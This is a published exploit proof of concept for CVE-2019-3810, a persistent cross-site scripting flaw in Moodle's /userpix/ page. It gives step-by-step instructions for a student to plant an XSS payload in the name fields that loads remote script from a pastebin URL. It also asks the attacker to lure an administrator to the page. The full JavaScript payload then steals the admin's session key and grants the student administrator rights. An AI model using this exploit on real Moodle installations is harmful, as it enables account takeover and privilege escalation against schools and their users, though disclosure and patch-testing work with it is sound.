Moodle 3.6.1 - Persistent Cross-Site Scripting (XSS)

# Exploit Title: Moodle 3.6.1 - Persistent Cross-Site Scripting (XSS)
# Date: 04/2021
# Exploit Author: farisv
# Vendor Homepage: https://moodle.org/
# Software Link: https://download.moodle.org https://github.com/moodle/moodle/archive/refs/tags/v3.6.1.zip
# Version: Moodle < 3.6.2, < 3.5.4, < 3.4.7, < 3.1.16
# CVE: CVE-2019-3810

Moodle is a learning platform designed to provide educators, administrators,
and learners with a single robust, secure and integrated system to create
personalised learning environments.

The following is PoC to use the XSS bug on /userpix/ (CVE-2019-3810) for
privilege escalation from student to administrator.

1. Upload the XSS payload [1] to pastebin or other similar service.
   Change the value of userid to your own id.
   Let's say the URL is https://pastebin.com/raw/xxxxxxxx.
2. Login to your student account.
3. Set first name with:
   " style="position:fixed;height:100%;width:100%;top:0;left:0" onmouseover="x=document.createElement
4. Set surname with:
  ('script');x.src='https://pastebin.com/raw/xxxxxxxx';document.body.appendChild(x); alert('XSS')
5. Ask the administrator to open /userpix/ page or put the link to that page
   on your post and wait.

If successful, your account will be added as administrator.

See the demonstration video on https://github.com/farisv/Moodle-CVE-2019-3810

[1] XSS Payload for privilege escalation on Moodle. Change the value of userid to your id.

var webroot = '/';
var userid = '3';
var sesskey = '';

function get(path, success) {
    var xhr = new XMLHttpRequest();
    xhr.open('GET', webroot + path);
    xhr.onreadystatechange = function() {
        if (xhr.readyState > 3 && xhr.status == 200) {
            success(xhr.responseText);
        }
    };
    xhr.send();
    return xhr;
}

function post(path, data, success) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', webroot + path);
    xhr.onreadystatechange = function() {
        if (xhr.readyState > 3 && xhr.status == 200) {
            success(xhr.responseText);
        }
    };
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send(encodeURI(data));
    return xhr;
}

function setAdmin() {
    // Assign administrator access to userid
    bpath = 'admin/roles/admins.php';
    data = "confirmadd=" + userid + "&sesskey=" + sesskey;
    post(bpath, data, function(data){});
}

function getSesskey(data) {
    var sesskey_find = data.indexOf('"sesskey":"');
    sesskey = data.substr(sesskey_find + 11, 10);
    setAdmin();
}

function payload() {
    // We can find Sesskey inside JS script in main page
    get('', getSesskey);
}

// Start
payload();